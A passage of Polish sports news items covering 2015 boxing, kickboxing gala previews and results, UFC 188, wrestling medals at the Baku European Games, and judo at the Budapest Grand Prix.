Dla Wacha to czwarty występ po okresie absencji. Polski bokser wagi ciężkiej stopniowo wraca do rywalizacji na najwyższym poziomie, choć to stwierdzenie na wyrost. Wach dostaje rywali niezbyt wymagających. „Viking” ma oswoić się z ringiem, jednak powoli czas adaptacji mija. Jeśli Wach nadal chce się liczyć w boksie musi rywalizować z poważniejszymi rywalami. Cel na pojedynek z reprezentantem Niemiec? Wach musi pokazać, że jest lepszy. Istotną kwestią jest kondycja polskiego pięściarza i jego wytrzymałość. Z Oloukunem rywalizował dziesięć rund i wydaje się, że bardziej wymagający przeciwnik mógłby Wachowi utrzeć nosa. Airich jest pięściarzem, którego Polak powinien pokonać. Zdecydowanie i z dużą przewagą. Czy tak będzie?

Przed kolejnym wyzwaniem stanie Robert Parzęczewski. Czy Polak utrzyma status niepokonanego na zawodowym ringu? Rywalem Parzęczewskiego będzie Francuz Jessy Luxembourger. Michał Gerlecki postara się o jedenastą wygraną. Polski pięściarz udowodnił, że jego ciosy są niezwykle niebezpieczne. Podczas marcowej gali w Lubinie przekonał się o tym Stjepan Bozić, który w czwartej rundzie musiał pogodzić się z porażką. Tym razem rywalem Gerleckiego będzie Pablo Sosa z Argentyny. W Ostrowcu Świętokrzyskim zaprezentują się także: Damian Wrzesiński, który zmierzy się z Oszkarem Fiko, Michał Żeromiński w rywalizacji z Laszlo Fazekasem. Z kolei Michał Leśniak stanie naprzeciw Andrieja Staliarczuka, a Mateusz Rzadkosz stoczy pojedynek z Dzianisem Makarą.

KM

Michał Turyński kontra Radovan Kulla

Kolejną, ciekawie zapowiadającą się walką na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się 20 czerwca w MCC Mazurkas Conference Centre & Hotel, będzie spotkanie na ringu polskiego zawodnika Michała Turyńskiego z Słowakiem Radovanem Kullą.

Michał Turyński, lat 29, od 2009 r. członek Kadry Narodowej PZKB Low-kick/K-1 Rules rozpoczynał przygodę ze sportami walki od jiu jitsu i taekwon-do. Przez jakiś czas trenował również karate. Od 2009 roku jest pod opieką Tomasza Skrzypka, trenera kadry narodowej. Co ciekawe Michał oprócz treningów znajduje również czas na pracę firmie ochroniarskiej, której jest szefem oraz ochotniczej straży pożarnej w rodzinnej dolnośląskiej wsi Ciepłowody.

Trenuje od wielu lat, a pierwsze jego zdobyte tytuły związane są z taekwondo. Należy do nich zdobyte między innymi w 2004 roku w Świdniku Vice-mistrzostwo Polski Juniorów PUT w kategorii +78 kg. Kolejny lata przyniosły zdobycie Pucharu Świata Word Cup ETF w kategorii open w Grevenbroich w Niemczech, i Międzynarodowego Mistrzostwa Mołdawii Voievod w kategorii open w Kiszyniowie/ Mołdawia. Zdobył również w 2006 Mistrzostwo Polski PUT w kategorii +84 kg. Michał Turyński odnosił również sukcesy w karate, a są nimi zdobycie Pucharu Polski All Style Karate Semi Contakt w kategorii +90 kg i Mistrzostwa Polski  All Style Karate w kategorii +90 kg.

Swoją przygodę z kickboxingiem Michał rozpoczął od zdobycia w 2009 roku Vice-mistrzostwo Polski PZKB K-1 Rules w kategorii +91 kg. W tym samym roku zdobył również Mistrzostwo Polski PZKB Low-kick w kategorii +91 kg. Występował również na wielu zawodach polskich i międzynarodowych, w tym w Innsbrucku w Austrii w 2010 Pucharze Świata WAKO w K-1 Rules w kategorii open w Pucharze Świata WAKO K-1 Rules w kategorii open w Szeged na Węgrzech oraz Mistrzostwach Europy w K-1 w Ankarze/Turcja, gdzie zdobył brązowy medal. Na koncie Michała jest również zdobycie, rok po roku (2013 i 2014 r.), Mistrzostwa Polski PZKB  K-1 Rules w kategorii +91 kg.

Michał Turyński to zawodnik walczący nie tylko w walkach amatorskich ale również występujący w walkach zawodowych, których odbył 23, w tym 16 wygranych. Na jego koncie znajdują się między innymi walki na Gali K-1 GrandPrix Elimination in Vilnus Wilno/Litwa w 2013, Gali KOK Kiszyniów/ Mołdawia w 2014. W 2013 roku Michał zalicza wygraną na Gali Zawodowej The Gladiators K-1 Rules we Wrocławiu. Ma również na swoim koncie Zawodowe Mistrzostwo Polski PZKB  K-1 Rules w kategorii +91 kg, które zdobył w 2012 roku we Wrocławiu. Ostatnią walkę zawodową stoczył 17 października ubiegłego roku na Gali KOK w Gdańsku.

""

Przeciwnik Michała Turyńskiego, to 21 letni zawodnik słowackiego klubu Ares Gym Zielina, Radovan Kulla. Zawodnik charakteryzuje się imponującymi warunkami fizycznymi – prawie 2 metrowym wzrostem i wagą 102 kg. Ma bardzo duży zasięg ramion. Jest Mistrzem Słowacji. Słowak pomimo niewielkiej ilości walk amatorskich ma duże osiągnięcia na ringu zawodowym. Na jego koncie jest 15 walk zawodowych, w tym 12 walk zwycięskich. Brał udział w kolejnych edycjach Yangame Fight Night, a także Hanuman Cup 21, Kickboxing WKN World Championship czy też K-1-Warriors – The Final Battle w kwietniu bierzącego roku w Niemczech. Występ Radovana nie jest pierwszym na Gali Fighters Night. W poprzedniej edycji gali spotkał się na ringu Patrykiem Proszkiem. Górujący warunkami fizycznymi Słowak, pomimo wyrównanej walki, zrobił w oczach sędziów lepsze wrażenie, co zaowocowało ogłoszeniem go zwycięzcą pojedynku.

 

Czekamy z niecierpliwością jaki tym razem będzie wynik walki Słowaka z polskim zawodnikiem.

źródło: informacja prasowa

Paczuski dał zwycięstwo

Wiadomo było, że Łotysze będą trudnym przeciwnikiem, z którym zwycięstwo nie przyjdzie łatwo. Ten scenariusz sprawdził się, jednak Polacy po raz kolejny potwierdzili swoje ogromne możliwości. Na gali DSF Kickboxing Challenge biało-czerwoni pokonali Łotyszy 2:1.

Organizator po raz kolejny postawił na formułę meczową. Potwierdziło się, iż jest to interesujący pomysł na rywalizację w kickboxingu. Po pierwsze, budzi emocje, a po drugie – buduje poczucie jedności i wspólnego celu. W Warszawie Polacy okazali się lepsi od Macedonii, wygrali gładko 3:0. Z Łotyszami nie poszło już tak łatwo, ale biało-czerwoni z Włocławka wyjechali w glorii chwały.

Udany debiut Paczuskiego

Reinis Porozovs sprawdził dyspozycję Arkadiusza Dembińskiego. Polak chciał pokazać, że w pełni zasłużył na szansę występu, jednak Łotysz okazał się lepszy. Wyrównana walka potoczyła się po myśli Porozovsa, który w trzeciej rundzie doprowadził do liczenia Dembińskiego. Polska przegrywała, a w ringu miała pojawić się Dorota Godzina. Posiadaczka pasa DSF zawsze imponowała spokojem i konsekwencją, a tym razem zaskoczyła szybkością. Godzina stanęła do rywalizacji z Jeleną Ozinską.  Łotyszka chciała wziąć rewanż na Polce, która kiedyś już ją pokonała, ale ta sztuka nie powiodła się. Dorota Godzina już w pierwszej rundzie rozstrzygnęła pojedynek na swoją korzyść. Kopnięciem na głowę Polka pozbawiła szans Ozinską. Łotyszka miała rozcięty łuk brwiowy i nie była w stanie kontynuować walki.

O wyniku rywalizacji miał rozstrzygnąć Radosław Paczuski, dla którego był to pierwszy występ podczas walki wieczoru na DSF Kickboxing Challenge. 23-latek udźwignął ciężar spoczywający na jego barkach. Arturs Ozolins musiał uznać wyższość Paczuskiego, który już w pierwszej rundzie mógł się cieszyć ze zwycięstwa. Polak niskimi kopnięciami osłabił Łotysza i sprawił, że ten nie był w stanie walczyć dalej. Dzięki temu biało-czerwoni wygrali drugi pojedynek i całe spotkanie 2:1.

Ciężkie rozstrzygnięcie

We Włocławku doszło do finałowej rywalizacji w turnieju wagi ciężkiej. Naprzeciw siebie stanęli Tomasz Klimiuk i Michał Bławdziewicz. Zacięty pojedynek nie znalazł rozstrzygnięcia w ciągu trzech rund. Sędziowie przyznali zwycięstwo Klimiukowi.

Efektowna walka odbyła się w kategorii 63,5kg. Jan Lodzik pokazał szeroki repertuar zagrań, jednak nie był w stanie znokautować Mateusza Rajewskiego. Zawodnik z Płocka skutecznie bronił się i starał atakować. Po trzech rundach zwycięstwo sędziowie przyznali Lodzikowi. Jeden z najlepszych specjalistów w Polsce w full contact Łukasz Wichowski pokonał 3:0 Piotra Smoczyńskiego. Swoją walkę wygrał również Kamil Ruta. Fighter z Kobyłki  odprawił Patryka Zdrojewskiego z warszawskiej Palestry. Jakub Bartnik w trzeciej rundzie zakończył pojedynek z Tomaszem Kowalczykiem.

Jeszcze więcej

Kolejny mecz i kolejne zwycięstwo, ale na tym jeszcze nie koniec. Grupa DSF planuje kolejne wydarzenia. We wrześniu w Płocku Polska zmierzy się z Niemcami, a w listopadzie w Warszawie podejmie Rosję.

Wyniki gali DSF Kickboxing Challenge we Włocławku:

 

Walki Pro-Am

70 kg: Roger Garbaczewski pokonał Tomasza Walkowiaka przez RSC (niezdolność do walki)
81 kg: Jakub Bartnik pokonał Tomasza Kowalczyka przez KO w 3 rundzie
70 kg: Jakub Górny pokonał Adriana Heka przez decyzję 3-0

Walki Pro

81 kg: Michał Dykowski pokonał Sebastiana Adamskiego przez decyzję 3-0
81 kg: Kamil Ruta pokonał Patryka Zdrojewskiego przez decyzję 3-0
63,5 kg: Jan Lodzik pokonał Mateusza Rajewskiego przez decyzję 3-0
+91 kg: Tomasz Klimiuk pokonał Michała Bławdziewicza przez decyzję 3-0
80 kg: Łukasz Wichowski pokonał Piotra Smoczyńskiego przez decyzję 3-0

Polska vs Łotwa

91 kg: Reinis Porozovs pokonał Arkadiusza Dembińskiego przez decyzję 3-0
56 kg: Dorota Godzina pokonała Jelenę Ozinską (Łotwa) przez KO w 1 rundzie
Walka Wieczoru: 81 kg: Radosław Paczuski pokonał Artursa Ozolinsa przez TKO w 1 rundzie

KM

Powrót Rycerskiego w wielkim stylu

Bardzo ciekawie zapowiada się walka w kategorii 81 kg miedzy Mateuszem Rycerskim, a Dawidem Świerczyńskim. Już nieraz zawodnicy Ci krzyżowali ze sobą rękawice w różnego rodzaju turniejach amatorskich. Teraz przyszła pora by obaj 26 letni zawodnicy spotkali się na ringu zawodowym. Już 20 czerwca 2015 spotkają się w trakcie Gali Kickboxingu Zawodowego K-1 Rules IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się w Ożarowie Mazowieckim w MCC Mazurkas Conference Centre & Hotel.

Mateusz Rycerski to wielokrotny Mistrz Polski Juniorów, Mistrz Polski Młodzieżowców  oraz Zawodowy Mistrz Polski Młodzieżowców. Startował głównie w Full Contact-cie, Light i Low Kicku oraz K1. Mateusz dopiero pół roku temu wznowił treningi po 3 letniej przerwie spowodowanej kontuzją (było nią zerwanie więzadła w kolanie) uniemożliwiającą mu starty w zawodach. Kontuzja nie wpłynęła jednak na jego chęć powrotu do walki. Pomimo trudów związanych z leczeniem i rehabilitacją Mateusz Rycerski znalazł w sobie olbrzymi zasób sił i chęci by dojść do formy. O jego aktualnym doskonałym przygotowaniu może świadczyć ostatni Mistrzostw Polski K1 w Legnicy. Wygrywa na nim jednogłośnie na punkty 3:0 pierwszą walkę z doskonałym Borysem Brodowskim z Klubu Duet Gdańsk. W ćwierćfinale rozprawia się z rewelacyjnym Pawłem Gierzyńskim z Palestry Warszawa. Walka ta była niezmiernie zacięta. Pierwsza rudna zakończyła się remisem. Drugą jednym punktem wygrał Mateusz, natomiast w rundzie trzeciej pokonał on swojego rywala jednogłośną decyzja sędziów 3:0. W półfinale wygrywa z doświadczonym Przemysławem Ziemnickim z KT Legia Warszawa. Ulega jednak w finale Kamilowi Rucie z MKS Wicher Kobyłka. Na przegraną niewątpliwy wpływ miały skutki ćwierćfinałowego starcia. Mateusz w finale przegrał na punkty, ale pozostawił po sobie wśród wszystkich bardzo dobre wrażenie.

Dawid Świerczyński to dobrze zbudowany zawodnik. Ten startujący od wielu lat instruktor Kickboxingu i Muay Thai to jednocześnie doświadczony zawodnik, który brał udział 8 walkach na ringach zawodowych. Jego największym osiągnięciem jest zdobycie Pasa Międzynarodowego Zawodowego Mistrza Słowacji K1 w kategorii 81 kg. Dawid Świerczyński brał również udział w gali Big-Fight w Kłajpedzie oraz galach zawodowych K1 w Polsce. Zajął II miejsce w Pucharze Słowacji K1 w Bańskiej Bystrzycy oraz II miejsce na Slovak Open K1 w Bardejovie.

Obaj, zarówno Mateusz Rycerski, jak i Dawid Świerczyński, to doświadczeni zawodnicy, którzy posiadają olbrzymi potencjał. Ich walka zapowiada się niezmiernie ciekawie i na pewno dostarczy wszystkim wiele emocji.

źródło: informacja prasowa

Zawodni kontra Proszek

Bardzo ciekawie zapowiada się walka w kategorii wagowej do 91 kg. W tej kategorii spotka się dwóch świetnie zbudowanych zawodników, Jarosław zawodni wzrost 187 cm oraz Patryk Proszek wzrost 186 cm. Obecnie ważą po 96/97 kg ale jak wiadomo w dniu gali muszą mieć po 91 kg. Obaj to bardzo doświadczeni zawodnicy.

Jarosław Zawodni, z klubu z KO Gym Świebodzice, ksywka „Jaro”, trenuje sztuki walki od 1996 roku. Zaczynał od Kyokushinkai. Pierwszy medal zdobył już 2002 roku. Były to  Mistrzostwach Polski Juniorów w Karate i zaczął od zdobycia I miejsca. Od tej chwili wygrywa w najróżniejszych turniejach. Przez 6 lat startował w wielu mistrzostwach karate Kyokushinkai w Holandii, Rosji, Anglii  i w Polsce. Zajął między innymi I miejsce w 1st Holland Cup of Kyokushinkai Karate w Bredzie w 2007 r., 2 miejsce w European Championship of Kyokushinkai Karate w Kazaniu w 2007 r. i ponownie w Bredzie w 2008 r. 2 miejsce oraz tytuł najlepszego technika.  W tym samym roku w Mistrzostwach Polski w Knockdown Karate Kyokushinkai zajmuje 2 miejsce i otrzymuje tytuł najlepszego technika.

""

Jarosław Zawodni startował również zawodowych walkach w Muay Thai, gdzie zdobył w 2009 roku I miejsce w Międzynarodowym Turnieju Muay Thai „KRÓLOWIE RINGU”. W tym samym roku zajmuje I miejsce w Międzynarodowym Pucharze Polski Muay Thai. Kolejne sukcesy Jarka to I miejsce w Mistrzostwach Polski Muay Thai IFMA w 2010 r., I miejsce w Pucharze Europy Muay Thai w Dreźnie i 3 miejsce w Mistrzostwach Świata IFMA Muay Thai w Taszkiencie w Uzbekistanie w 2011 roku. Jarek w zeszłym roku zajął I miejsce w Mistrzostwach Polski Muay Thai IFMA w Świebodzicach.

Jarosław Zawodni to zawodnik walczący również w kickboxingu. Na jego koncie znajdują się I miejsce w Międzynarodowych Mistrzostwach Polski K1 Rules w Gdańsku w 2011 r., II miejsce w kategorii 91 kg na Pucharze Świata K1 w Szeged na Węgrzech, I miejsce w kategorii 95 kg w Mistrzostwach Świata K1 w Londynie oraz I miejsce w kategorii 91 kg w Pucharze Polski K1 Rules w Nowym Targu. Wszystkie te tytuły zdobył w ubiegłym roku.

Jarek walczy nie tylko amatorsko ale również zawodowo. Na jego koncie znajdują się między innymi wygrane walki zawodowe w Gali Kickboxingu w Szydłowcu w 2009 oraz w Bitwie Pod Legnicą K1 w kategorii 86 kg w 2013 r.. Jarek Zawodni zdobył pas Zawodowego Mistrza Polski K1 w kategorii 86 kg w pierwszej edycji Gali FIGHTERS NIGHT w Ostrowcu Świętokrzyskim w 2012 r.

Z Patrykiem Proszkiem ksywka „Proch” ostatni raz walczyli na Mistrzostwach Polski w Low Kicku w Kobyłce w marcu bieżącego roku. Tam okazał się lepszym Patryk, który znokautował Jarka w pierwszej rundzie. Na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4 spotkają się po raz kolejny, ale to będzie walka zawodowa. Tutaj trzeba być inaczej przygotowanym. Wydaje się nam, że ta walka nie będzie tak krótka i tak łatwa dla Patryka Proszka, jak poprzednia. Jarek twierdzi, że nokaut na Mistrzostwach Polski to był tylko przypadek.

Patryk Proszek z Klubu Boxing Zielona Góra, jest zawodnikiem nietypowym, walczącym bardzo różnorodnie. Potrafi mieć bardzo nisko postawioną gardę, szybko pracuje na nogach, uderzając potężne prawe sierpowe czy też prawe proste. Trenuje od 14 lat. Ma na swoim koncie około 150 walk amatorskich w Kickboxingu. Jest to wielokrotny Mistrz Polski w różnych formułach, a także zdobywca w Low Kicku I miejsca w kategorii 91 kg w Pucharze Świata w Szeged na Węgrzech oraz III miejsca w kategorii 86 kg na Mistrzostwach Świata w Macedonii. W bieżącym roku Patryk otrzymuje tytuł Mistrza Polski Low Kick w kategorii 91 kg.

Startował również w boksie i ma na swoim koncie stoczonych ponad 20 walk. Są to wyniki bardzo imponujące.

Obaj odgrażają się i czekają na walkę. Jarek chce zmyć blamaż z ostatnich Mistrzostw w Low Kick, a Patryk chce pokazać, że jest lepszym zawodnikiem. Jeśli brać pod uwagę wiek, doświadczenie w walkach zawodowych to bezspornie przewaga jest po stronie Jarka Zawodniego, który ma na swoim koncie 11 walk zawodowych i 89 amatorskich. W walkach amatorskich przewagę ma na pewno Patryk Proszek. Na swoim koncie ma on prawie 170 walk, czy to w boksie czy też kickboxingu, w tym ponad 100 wygranych. W zawodowych ma na swoim koncie tylko 6 walk. Kto będzie lepszy, okaże się już za półtorej tygodnia na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, na którą wszystkich serdecznie zapraszamy.

źródło: informacja prasowa

Velasquez na kolanach

Nieudany powrót Caina Velasqueza. Po ponad półtorarocznej przerwie Amerykanin pojawił się w oktagonie i przegrał. Fabricio Werdum pokazał swoją wartość.

Podczas UFC 188 w Meksyku spotkali się dwaj czołowi zawodnicy wagi ciężkiej. Doszło do starcia, na którego z niecierpliwością oczekiwano. Amerykanin i Brazylijczyk mieli się spotkać podczas gali UFC 180, jednak kontuzja Velasqueza sprawiła, że do pojedynku nie doszło. 32-latek długo czekał na powrót, ale dostał możliwość walki na szczycie. Pojedynek z Werdumem był dla niego ogromnym wyzwaniem.

Fabricio mistrz

Mistrzostwo UFC wagi ciężkiej to ogromny prestiż. O ten laur przyszło się mierzyć dwóm tytanom mieszanych sztuk walki. Werdum po pokonaniu Marka Hunta dzierżył w swoich dłoniach tytuł tymczasowego czempiona. W starciu z Velasquezem chciał potwierdzić, że w pełni zasłużył na pas i przewyższa Amerykanina pod względem umiejętności.

Jednak każdy doskonale wie, że były zapaśnik jest doskonałym zawodnikiem. Tyle, że Velasqueza trapiły kontuzje, przez które rozwój jego kariery zatrzymał się. Pasjonujące bitwy z Juniorem Dos Santosem wszyscy wspominają jako pojedynki wybitne. Velasquez chciał nawiązać do swoich najlepszych czasów i wrócić w olśniewającym stylu. Tyle, że przerwa zrobiła swoje. Mimo, iż Werdum jest starszy o pięć lat od Amerykanina, to fakt, że regularnie walczy robi swoje. Brazylijczyk był w dobrej kondycji i w Meksyku udowodnił swoją wartość.

Już od początku starcia Werdum narzucił swoje warunki. 37-latek był skuteczniejszy, jego ciosy dochodziły do celu. Brazylijczyk prowadził walkę, dominował w stójce i imponował przygotowaniem kondycyjnym.  A Velasquez  z minuty na minutę wyglądał na coraz bardziej ociężałego. Pierwszą odsłonę Amerykanin jeszcze przetrwał, ale w drugiej zaczęło brakować mu sił. Werdum jest zawodnikiem wyśmienitym, więc takiej okazji nie mógł przegapić. Brazylijczyk używał kolan, a Velasquez nie potrafił odpowiedzieć. W trzeciej rundzie Amerykanin chciał spróbować swoich sił w parterze, ale zabrakło elementu szybkości. Podczas jednego ze sprowadzeń Werdum wykorzystał swoją gibkość i zaskoczył rywala duszeniem gilotynowym. Było po pojedynku.

Zaskoczenie

Mimo wszystko. Werdum był o klasę lepszy, jednak przed pojedynkiem stawiano na Velasqueza. Choć Amerykanin wracał po długiej przerwie był faworytem. Doświadczony Werdum pokazał, że skreślono go przedwcześnie i został mistrzem UFC wagi ciężkiej.

Ciężkie chwile w Meksyku przeżył Nate Marquardt. Kelvin Gastelum rozbił swojego rywala w stójce i mógł cieszyć się ze zwycięstwa w drugiej rundzie. Emocjonujące starcie w wadze lekkiej pomiędzy Alvarezem, a Melendezem. O wszystkim decydowali sędziowie, ale nie byli zgodni. Niejednogłośnie na punkty wygrał Alvarez. Po niespełna minucie walki odklepać musiał Drew Dober. Skuteczna gilotyna zapewniła zwycięstwo Efrainowi Escudero. Zaledwie dwadzieścia trzy sekundy potrzebował Patrick Williams, aby poddać Alejandro Pereza.

Wyniki UFC 188:

 

Walka o pas mistrza UFC w wadze ciężkiej
120 kg: Fabricio Werdum pok. Caina Velasqueza przez poddanie 

70 kg: Eddie Alvarez pokonał Gilberta Melendeza przez niejednogłośną decyzję 
84 kg: Kelvin Gastelum pokonał Nate'a Marquardta przez TKO
66 kg: Yair Rodriguez pokonał Charlesa Rosę przez niejednogłośną decyzję 
52 kg: Tecia Torres pokonał Angelę Hill przez jednogłośną decyzję 

57 kg: Henry Cejudo pokonał Chico Camusa przez jednogłośną decyzję 
70 kg: Efrain Escudero pokonał Drew Dobera przez poddanie
61 kg: Patrick Williams pokonał Alejandra Pereza przez poddanie 
70 kg: Johnny Case pokonał Francisca Trevino przez jednogłośną decyzję 
77 kg: Cathal Pendred pokonał Augusta Montano przez jednogłośną decyzję 
66 kg: Gabriel Benitez pokonał Claya Collarda przez jednogłośną decyzję 

KM

Dziewczyny na medal

Katarzyna Krawczyk i Iwona Matkowska stanęły na podium Igrzysk Europejskich w Baku. Odpowiednio wywalczyły: srebro i brąz.

Nasze zapaśniczki od początku sezonu prezentowały równą i stabilną formę. Do Baku jechały z nadziejami, które kierowały ich uwagę na zdobycie medalu. Zapaśniczki osiągnęły sukces.

Srebrna Krawczyk

25-letnia Polka szła jak burza. Walcząca w kategorii 55kg w stylu wolnym Krawczyk pokonywała kolejne rywalki. Była zdeterminowana i szła w kierunku medalu. W pierwszym pojedynku Polka trafiła na Irinę Nikołową z Bułgarii. Krawczyk dobrze rozpoczęła pojedynek – od wygranej w pierwszej rundzie, później rywalizacja wyrównała się. Druga odsłona na remis, ale to wystarczyło Polce do uzyskania awansu do ćwierćfinału. Tam czekała już Mathilde Riviere z Francji. Scenariusz tego pojedynku był nieco inny. Pierwsza runda w wykonaniu obu zapaśniczek uważna i spokojna. Padł remis i to druga odsłona miała wyłonić zwyciężczynię. Krawczyk przystąpiła do ataku i nie dała szans zawodniczce z Francji – 6:0. Polka była już w strefie medalowej.

Irina Ogołonowa okazała się wymagającą rywalką. Polka musiała dać z siebie wszystko, aby odnieść sukces. Pierwsza runda zacięta, ale z lekką przewagą Krawczyk. 25-latka zwyciężyła 4:2 i nieco spokojniej mogła przystąpić do drugiej odsłony. Ogołonowa trochę osłabła, ale wierzyła w zwycięstwo. Druga runda zakończyła się remisem, co oznaczało wygraną reprezentantki Polski i jej awans do finału.

W decydującej walce Krawczyk trafiła na utytułowaną rywalkę – Sofię Mattsson. Szwedka w swojej kolekcji ma medale mistrzostw Europy i świata. W 2014 roku okazała się najlepszą zawodniczką Starego Kontynentu. Polka po wyczerpującej półfinałowej walce przystąpiła do rywalizacji o złoty medal. Mattsson okazała się zbyt silną przeciwniczką. Szwedka nie dała szans Krawczyk i pokonała ją przed czasem. Mimo to Polka osiągnęła ogromny sukces – zdobyła srebrny medal na I Igrzyskach Europejskich.

Brązowa Matkowska

Gdyby nie zawodniczka z Azerbejdżanu, również druga z naszych zapaśniczek rywalizowałby o złoto. Matkowska walcząca w kategorii 48kg w ćwierćfinale uległa Mariji Stadnik.

Udział w rywalizacji w Baku Polka rozpoczęła od walki z Emilią Vuc. Zawodniczka z Rumunii nie sprawiła Polce większych problemów, tak jak i kolejna rywalka. W 1/8 finału Matkowska trafiła na Holenderkę Jessicę Blaszkę. Zapaśniczka z Niderlandów nie miała najmniejszych szans w starciu z Polką. Okazało się, że w ćwierćfinale  Matkowska trafiła na przeszkodę nie do przejścia. Stadnik wygrała na punkty. Polka musiała zadowolić się walką o brązowy medal, a o miejsce na podium przyszło jej rywalizować z Julie Sabatie.

Matkowska już w pierwszej rundzie pokazała, że zależy jej na osiągnięciu sukcesu. Po trzydziestu sekundach zdobyła pierwsze dwa punkty, a później w parterze dołożyła kolejne  i było 4:0. W drugiej rundzie Francuzka starała się atakować Polkę, jednak ta stosowała skuteczne uniki. Matkowska wyczekała rywalkę i stosowała punktowe ataku. Polka zwyciężyła 8:0 i potwierdziła swoją wyższość nad Francuzką. Brązowy medal trafił do Matkowskiej.

KM

Pieńkowska przyćmiła Kłys

W Grand Prix w Budapeszcie w judo wystartowały dwie Polki. Na pierwszy rzut oka wydawać by się mogło, że Karolina Pieńkowska zbiera dopiero szlify, a Katarzyna Kłys walczy o zwycięstwo. Nic bardziej mylnego.

Choć Kłys jest bardziej doświadczona i utytułowana, to w Budapeszcie tego nie potwierdziła. Brązowa medalistka ubiegłorocznych mistrzostw świata, które odbyły się w Czelabińsku do stolicy Węgier pojechała szlifować formę przed pierwszymi w historii Igrzyskami Europejskimi. Z jakim efektem?

Nieudana dogrywka

Kłys stara się nawiązać do dobrych występów z poprzedniego sezonu, jednak różnie jej to wychodzi. Grand Prix w Budapeszcie miało pokazać w jakim punkcie znajduje się nasza judoczka przed startem w Baku. Okazuje się, że przed Kłys dużo pracy, a czasu praktycznie nie ma. 29-letnia judoczka w poprzednim sezonie radziła sobie bardzo dobrze i w większości zawodów była w czołówce. W Budapeszcie rozczarowała.

Polka, która startowała w kategorii 70kg była rozstawiona w zawodach, dzięki czemu w pierwszej rundzie miała wolny los. Zatem rywalizację rozpoczęła od 1/8 finału. Z jednej strony to dobrze, a z drugiej z marszu musiała przystąpić do rywalizacji. Polka trafiła na waleczną Hiszpankę Marię Bernabeu. W regulaminowym czasie nie udało się wyłonić zwyciężczyni. Zarówno Kłys jak i Bernabeu otrzymały po jednej karze shido i konieczna okazała się dogrywka. W tej lepiej spisała się Hiszpanka, chociaż nie zakończyła efektownie walki. Kłys dostała kolejną karę i musiała pogodzić się z porażką.

Zawodniczka Polonii Rybnik w Budapeszcie stoczyła jedną walkę, co nie daje odpowiedzi na pytanie dotyczące jej dyspozycji. Mimo to pojawia się niepokój dotyczący szans Kłys w Baku. Polka w imprezach najwyższej rangi potrafi się zmobilizować, ale ten sezon nie idzie po jej myśli. Czy przełamanie nastąpi w Baku?

Pieńkowska przegrała z triumfatorką

Dla Karoliny Pieńkowskiej start w Budapeszcie był kolejnym etapem przygotowań do Uniwersjady w Korei Południowej. 21-letnia judoczka AZS-u UW Warszawa stopniowo zdobywa doświadczenie i coraz lepiej prezentuje się zawodach międzynarodowych. Startująca w kategorii 52kg Polka w stolicy Węgier radziła sobie bardzo dobrze do ćwierćfinału.

Na początek Pieńkowska trafiła na zawodniczkę gospodarzy Lucę Polgar, jednak 21-latka uporała się ze swoją rywalką. W kolejnej walce trafiła na Roni Schwartz z Izraela. Po tym pojedynku Pieńkowska mogła przygotowywać do rywalizacji o start w półfinale. W ćwierćfinale Polka trafiła na Mareen Kraeh i Niemka okazała się przeszkodą nie do przejścia. Do walki o medale zabrakło niewiele, gdyż Pieńkowska przegrała zaledwie jedną karą shido. Polka stoczyła jeszcze jeden pojedynek. W repasażach Pieńkowska spotkała się z Laurą Gomez, ale przegrała przez ippon i ostatecznie rywalizację w Budapeszcie zakończyła na siódmym miejscu. Najlepsza w kategorii 52kg okazała się Kraeh.

KM

Szybkie działanie Szpilki

Pobyt Artura Szpilki w USA ma służyć jego rozwojowi. Bokser z Wieliczki jest obecnie najwyżej notowanym polskim pięściarzem wagi ciężkiej i z nadzieją patrzy w przyszłość. Podczas gali Premier Boxing Champions w pojedynku z Manuelem Quezadą udowodnił swoją wyższość.

37-latek raczej do orłów nie należy, a najlepsze czasy ma już dawno za sobą. Do pojedynku ze Szpilką przystępował po kolejnych pięciu porażkach. Bez wątpienia faworytem walki był Szpilka, czyli bokser szybszy, sprawniejszy i skuteczniejszy. „Szpila” dostał kolejnego rywala na przetarcie, tak jak i w przypadku poprzedniego występu, w którym zmierzył się z Ty’em Cobbem.

Od początku starcia wyraźnie zarysowała się przewaga Polaka, który kontrolował przebieg pojedynku i wyprowadzał skuteczne ciosy. Quezada postawił na obronę, jednak nie zawsze spełniała ona swoją rolę. Szpilka był konsekwentny – co i raz rozbijał gardę swojego rywala. Traktował go kombinacjami, często też pracował prawym prostym. Polak był zdecydowanie szybszy, co utrudniało działanie Quezadzie. Z upływem kolejnych minut 37-latek wyglądał na zniechęconego, jakby chciał już zmienić otoczenie. Quezada na ringu nie spędził wiele czasu. Po trzech rundach zrezygnował z dalszej rywalizacji. Tym samy Szpilka zapisał na swoim koncie dziewiętnaste zwycięstwo w karierze. Opuszczającego ring w Chicago Quezadę żegnały gwizdy.

Nie ma, co ukrywać, że „Szpila” dostał kolejnego rywala na roztrenowanie. Z pięściarzami takimi jak Quezada 26-latek powinien rozprawiać się z zamkniętymi oczami. Szpilka musi przyzwyczaić się do amerykańskiej specyfiki, standardów. Treningi z Ronnim Shieldsem są wymagające, ale wpływają na rozwój umiejętności pięściarza. Dwie walki w USA i dwa zwycięstwa. Czy kolejny pojedynek również będzie wyglądał podobnie? Słychać głosy, wedle których na jesieni Szpilka ma zmierzyć się z poważnym rywalem. Mówi się o Steve Cunninghamie. Warto sprawdzić, na co tak naprawdę stać „Szpilę” i w jakim punkcie kariery obecnie znajduje się. Wiadomo, że przez całą karierę nie będzie walczył z kelnerami. Z kolei w Polsce udowodnił swoją wartość i pokazał, że obecnie jest najlepszy w kraju. W pojedynku z Tomaszem Adamkiem „Szpila” charakteryzował się rozsądkiem oraz dużym spokojem, czyli elementami, o które wcześniej trudno było go posądzać.

W swojej dotychczasowej karierze Szpilka zanotował jedną porażkę. Wydawało się, że Polak będzie szedł konsekwentnie krok po kroku do przodu, ale zatrzymał go Bryant Jennings. Dla Szpilki to cenne doświadczenie, które może zaowocować. Bokser musi pamiętać, że każdemu rywalowi należy się szacunek. Nie da się ukryć, że postawa Polaka w ringu zmieniła się. Teraz wygląda inaczej i widać tego efekty. Pobyt w USA ma mu służyć. Jak to wszystko potoczy się dalej? Zobaczymy, kto będzie kolejną przeszkodą Szpilki na drodze do mistrzostwa świata.

KM

Kliczko czeka na Wildera

